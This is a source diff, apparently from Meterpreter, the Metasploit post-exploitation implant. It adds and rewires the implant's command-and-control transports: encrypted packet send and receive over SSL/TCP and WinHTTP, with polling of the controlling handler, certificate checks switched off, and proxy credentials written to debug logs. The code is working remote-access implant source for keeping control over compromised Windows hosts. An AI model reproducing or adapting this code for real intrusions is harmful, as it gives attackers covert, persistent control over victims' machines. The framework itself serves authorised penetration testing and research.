// Cleanup on failure
if (res != ERROR_SUCCESS)
{
if (payload)
{
free(payload);
}
if (localPacket)
{
free(localPacket);
}
}
lock_release(remote->lock);
return res;
}
/*!
* @brief The servers main dispatch loop for incoming requests using SSL over TCP
* @param remote Pointer to the remote endpoint for this server connection.
@ -611,7 +774,7 @@ static DWORD server_dispatch_tcp(Remote* remote, THREAD* dispatchThread)
result = server_socket_poll(remote, 50000);
if (result > 0)
{
result = remote->transport->packet_receive(remote, &packet);
result = packet_receive_via_ssl(remote, &packet);
if (result != ERROR_SUCCESS)
{
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
@ -952,6 +1115,137 @@ static BOOL configure_tcp_connection(Remote* remote, SOCKET sock)
return TRUE;
}
/*!
* @brief Transmit a packet via SSL _and_ destroy it.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet that is to be sent.
* @param completion Pointer to the completion routines to process.
* @return An indication of the result of processing the transmission request.
* @remark This uses an SSL-encrypted TCP channel, and does not imply the use of HTTPS.
*/
DWORD packet_transmit_via_ssl(Remote* remote, Packet* packet, PacketRequestCompletion* completion)
{
CryptoContext* crypto;
Tlv requestId;
DWORD res;
DWORD idx;
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
lock_acquire(remote->lock);
// If the packet does not already have a request identifier, create one for it
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS)
{
DWORD index;
CHAR rid[32];
rid[sizeof(rid)-1] = 0;
for (index = 0; index < sizeof(rid)-1; index++)
{
rid[index] = (rand() % 0x5e) + 0x21;
}
packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
}
do
{
// If a completion routine was supplied and the packet has a request
// identifier, insert the completion routine into the list
if ((completion) &&
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
&requestId) == ERROR_SUCCESS))
{
packet_add_completion_handler((LPCSTR)requestId.buffer, completion);
}
// If the endpoint has a cipher established and this is not a plaintext
// packet, we encrypt
if ((crypto = remote_get_cipher(remote)) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = packet->payloadLength;
PUCHAR origPayload = packet->payload;
// Encrypt
if ((res = crypto->handlers.encrypt(crypto, packet->payload,
packet->payloadLength, &packet->payload,
&packet->payloadLength)) !=
ERROR_SUCCESS)
{
SetLastError(res);
break;
}
// Destroy the original payload as we no longer need it
free(origPayload);
// Update the header length
packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader));
}
idx = 0;
while (idx < sizeof(packet->header))
{
// Transmit the packet's header (length, type)
res = SSL_write(
ctx->ssl,
(LPCSTR)(&packet->header) + idx,
sizeof(packet->header) - idx
);
if (res <= 0)
{
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
break;
}
idx += res;
}
if (res < 0)
{
break;
}
idx = 0;
while (idx < packet->payloadLength)
{
// Transmit the packet's payload (length, type)
res = SSL_write(
ctx->ssl,
packet->payload + idx,
packet->payloadLength - idx
);
if (res < 0)
{
break;
}
idx += res;
}
if (res < 0)
{
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
break;
}
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
// Destroy the packet
packet_destroy(packet);
lock_release(remote->lock);
return res;
}
/*!
* @brief Creates a new TCP transport instance.
* @param url URL containing the transport details.
@ -972,7 +1266,6 @@ Transport* transport_create_tcp(wchar_t* url, TimeoutSettings* timeouts)
transport->type = METERPRETER_TRANSPORT_SSL;
transport->url = _wcsdup(url);
transport->packet_receive = packet_receive_via_ssl;
transport->packet_transmit = packet_transmit_via_ssl;
transport->transport_init = configure_tcp_connection;
transport->transport_deinit = server_destroy_ssl;

View File

@ -10,6 +10,458 @@
#define URLPATH_LEN 1024
#define METERPRETER_CONST_OFFSET 12
/*!
* @brief Prepare a winHTTP request with the given context.
* @param ctx Pointer to the HTTP transport context to prepare the request from.
* @param direction String representing the direction of the communications (for debug).
* @return An Internet request handle.
*/
static HINTERNET get_winhttp_req(HttpTransportContext *ctx, const char *direction)
{
HINTERNET hReq = NULL;
DWORD flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
if (ctx->ssl)
{
flags |= WINHTTP_FLAG_SECURE;
dprintf("[%s] Setting secure flag..", direction);
}
vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri);
hReq = WinHttpOpenRequest(ctx->connection, L"POST", ctx->uri, NULL, NULL, NULL, flags);
if (hReq == NULL)
{
dprintf("[%s] Failed WinHttpOpenRequest: %d", direction, GetLastError());
SetLastError(ERROR_NOT_FOUND);
return NULL;
}
if (ctx->proxy_user)
{
dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user);
dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass);
if (!WinHttpSetCredentials(hReq, WINHTTP_AUTH_TARGET_PROXY, WINHTTP_AUTH_SCHEME_BASIC,
ctx->proxy_user, ctx->proxy_pass, NULL))
{
dprintf("[%s] Failed to set creds %u", direction, GetLastError());
}
}
if (ctx->ssl)
{
flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
{
dprintf("[%s] failed to set the security flags on the request", direction);
}
}
return hReq;
}
/*!
* @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet that is to be sent.
* @param completion Pointer to the completion routines to process.
* @return An indication of the result of processing the transmission request.
* @remark This function is not available on POSIX.
*/
static DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
{
DWORD res = 0;
HINTERNET hReq;
BOOL hRes;
DWORD retries = 5;
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
unsigned char *buffer;
buffer = malloc(packet->payloadLength + sizeof(TlvHeader));
if (!buffer)
{
SetLastError(ERROR_NOT_FOUND);
return 0;
}
memcpy(buffer, &packet->header, sizeof(TlvHeader));
memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength);
do
{
hReq = get_winhttp_req(ctx, "PACKET TRANSMIT");
if (hReq == NULL)
{
break;
}
hRes = WinHttpSendRequest(hReq, NULL, 0, buffer,
packet->payloadLength + sizeof(TlvHeader),
packet->payloadLength + sizeof(TlvHeader), 0);
if (!hRes)
{
dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
dprintf("[PACKET TRANSMIT] request sent.. apparently");
} while(0);
memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader));
WinHttpCloseHandle(hReq);
return res;
}
/*!
* @brief Transmit a packet via HTTP(s) _and_ destroy it.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet that is to be sent.
* @param completion Pointer to the completion routines to process.
* @return An indication of the result of processing the transmission request.
*/
static DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
{
CryptoContext *crypto;
Tlv requestId;
DWORD res;
lock_acquire(remote->lock);
// If the packet does not already have a request identifier, create one for it
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS)
{
DWORD index;
CHAR rid[32];
rid[sizeof(rid)-1] = 0;
for (index = 0; index < sizeof(rid)-1; index++)
{
rid[index] = (rand() % 0x5e) + 0x21;
}
packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
}
do
{
// If a completion routine was supplied and the packet has a request
// identifier, insert the completion routine into the list
if ((completion) &&
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
&requestId) == ERROR_SUCCESS))
{
packet_add_completion_handler((LPCSTR)requestId.buffer, completion);
}
// If the endpoint has a cipher established and this is not a plaintext
// packet, we encrypt
if ((crypto = remote_get_cipher(remote)) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = packet->payloadLength;
PUCHAR origPayload = packet->payload;
// Encrypt
if ((res = crypto->handlers.encrypt(crypto, packet->payload,
packet->payloadLength, &packet->payload,
&packet->payloadLength)) !=
ERROR_SUCCESS)
{
SetLastError(res);
break;
}
// Destroy the original payload as we no longer need it
free(origPayload);
// Update the header length
packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader));
}
dprintf("[PACKET] Transmitting packet of length %d to remote", packet->payloadLength);
res = packet_transmit_via_http_winhttp(remote, packet, completion);
if (res < 0)
{
dprintf("[PACKET] transmit failed with return %d\n", res);
break;
}
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
// Destroy the packet
packet_destroy(packet);
lock_release(remote->lock);
return res;
}
/*!
* @brief Windows-specific function to receive a new packet via WinHTTP.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to a pointer that will receive the \c Packet data.
* @return An indication of the result of processing the transmission request.
* @remark This function is not available in POSIX.
*/
static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
{
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
CryptoContext *crypto = NULL;
Packet *localPacket = NULL;
TlvHeader header;
LONG bytesRead;
BOOL inHeader = TRUE;
PUCHAR payload = NULL;
ULONG payloadLength;
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
HINTERNET hReq;
BOOL hRes;
DWORD retries = 5;
lock_acquire(remote->lock);
do
{
hReq = get_winhttp_req(ctx, "PACKET RECEIVE");
if (hReq == NULL)
{
break;
}
vdprintf("[PACKET RECEIVE WINHTTP] sending the 'RECV' command...");
// TODO: when the MSF side supports it, update this so that it's UTF8
DWORD recv = 'VCER';
hRes = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0, &recv,
sizeof(recv), sizeof(recv), 0);
if (!hRes)
{
dprintf("[PACKET RECEIVE WINHTTP] Failed WinHttpSendRequest: %d %d", GetLastError(), WSAGetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
vdprintf("[PACKET RECEIVE WINHTTP] Waiting to see the response ...");
if (!WinHttpReceiveResponse(hReq, NULL))
{
vdprintf("[PACKET RECEIVE] Failed WinHttpReceiveResponse: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
if (ctx->cert_hash != NULL)
{
vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash");
PCERT_CONTEXT pCertContext = NULL;
DWORD dwCertContextSize = sizeof(pCertContext);
if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize))
{
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError());
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
break;
}
DWORD dwHashSize = 20;
BYTE hash[20];
if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize))
{
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError());
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
break;
}
if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0)
{
dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out");
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
break;
}
}
#ifdef DEBUGTRACE
DWORD dwSize = 0;
if (!WinHttpQueryDataAvailable(hReq, &dwSize))
{
vdprintf("[PACKET RECEIVE WINHTTP] WinHttpQueryDataAvailable failed: %x", GetLastError());
}
else
{
vdprintf("[PACKET RECEIVE WINHTTP] Available data: %u bytes", dwSize);
}
#endif
// Read the packet length
retries = 3;
vdprintf("[PACKET RECEIVE WINHTTP] Start looping through the receive calls");
while (inHeader && retries > 0)
{
retries--;
if (!WinHttpReadData(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead))
{
dprintf("[PACKET RECEIVE] Failed HEADER WinhttpReadData: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
vdprintf("[PACKET RECEIVE WINHTTP] Data received: %u bytes", bytesRead);
// If the response contains no data, this is fine, it just means the
// remote side had nothing to tell us. Indicate this through a
// ERROR_EMPTY response code so we can update the timestamp.
if (bytesRead == 0)
{
SetLastError(ERROR_EMPTY);
break;
}
headerBytes += bytesRead;
if (headerBytes != sizeof(TlvHeader))
{
continue;
}
inHeader = FALSE;
}
if (GetLastError() == ERROR_EMPTY)
{
break;
}
if (headerBytes != sizeof(TlvHeader))
{
dprintf("[PACKET RECEIVE WINHTTP] headerBytes no valid");
SetLastError(ERROR_NOT_FOUND);
break;
}
// Initialize the header
vdprintf("[PACKET RECEIVE WINHTTP] initialising header");
header.length = header.length;
header.type = header.type;
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
payloadBytesLeft = payloadLength;
// Allocate the payload
if (!(payload = (PUCHAR)malloc(payloadLength)))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
// Read the payload
retries = payloadBytesLeft;
while (payloadBytesLeft > 0 && retries > 0)
{
vdprintf("[PACKET RECEIVE WINHTTP] reading more data from the body...");
retries--;
if (!WinHttpReadData(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead))
{
dprintf("[PACKET RECEIVE] Failed BODY WinHttpReadData: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
if (!bytesRead)
{
vdprintf("[PACKET RECEIVE WINHTTP] no bytes read, bailing out");
SetLastError(ERROR_NOT_FOUND);
break;
}
vdprintf("[PACKET RECEIVE WINHTTP] bytes read: %u", bytesRead);
payloadBytesLeft -= bytesRead;
}
// Didn't finish?
if (payloadBytesLeft)
{
break;
}
// Allocate a packet structure
if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
memset(localPacket, 0, sizeof(Packet));
// If the connection has an established cipher and this packet is not
// plaintext, decrypt
if ((crypto = remote_get_cipher(remote)) &&
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = payloadLength;
PUCHAR origPayload = payload;
// Decrypt
if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength, &payload, &payloadLength)) != ERROR_SUCCESS)
{
SetLastError(res);
break;
}
// We no longer need the encrypted payload
free(origPayload);
}
localPacket->header.length = header.length;
localPacket->header.type = header.type;
localPacket->payload = payload;
localPacket->payloadLength = payloadLength;
*packet = localPacket;
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
// Cleanup on failure
if (res != ERROR_SUCCESS)
{
if (payload)
{
free(payload);
}
if (localPacket)
{
free(localPacket);
}
}
if (hReq)
{
WinHttpCloseHandle(hReq);
}
lock_release(remote->lock);
return res;
}
/*!
* @brief Initialise the HTTP(S) connection.
* @param remote Pointer to the remote instance with the HTTP(S) transport details wired in.
@ -144,7 +596,7 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
}
dprintf("[DISPATCH] Reading data from the remote side...");
result = packet_receive_via_http(remote, &packet);
result = packet_receive_http_via_winhttp(remote, &packet);
if (result != ERROR_SUCCESS)
{
// Update the timestamp for empty replies
@ -275,7 +727,6 @@ Transport* transport_create_http(BOOL ssl, wchar_t* url, wchar_t* ua, wchar_t* p
transport->type = ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP;
transport->url = _wcsdup(url);
transport->packet_receive = packet_receive_via_http;
transport->packet_transmit = packet_transmit_via_http;
transport->server_dispatch = server_dispatch_http;
transport->transport_init = server_init_http;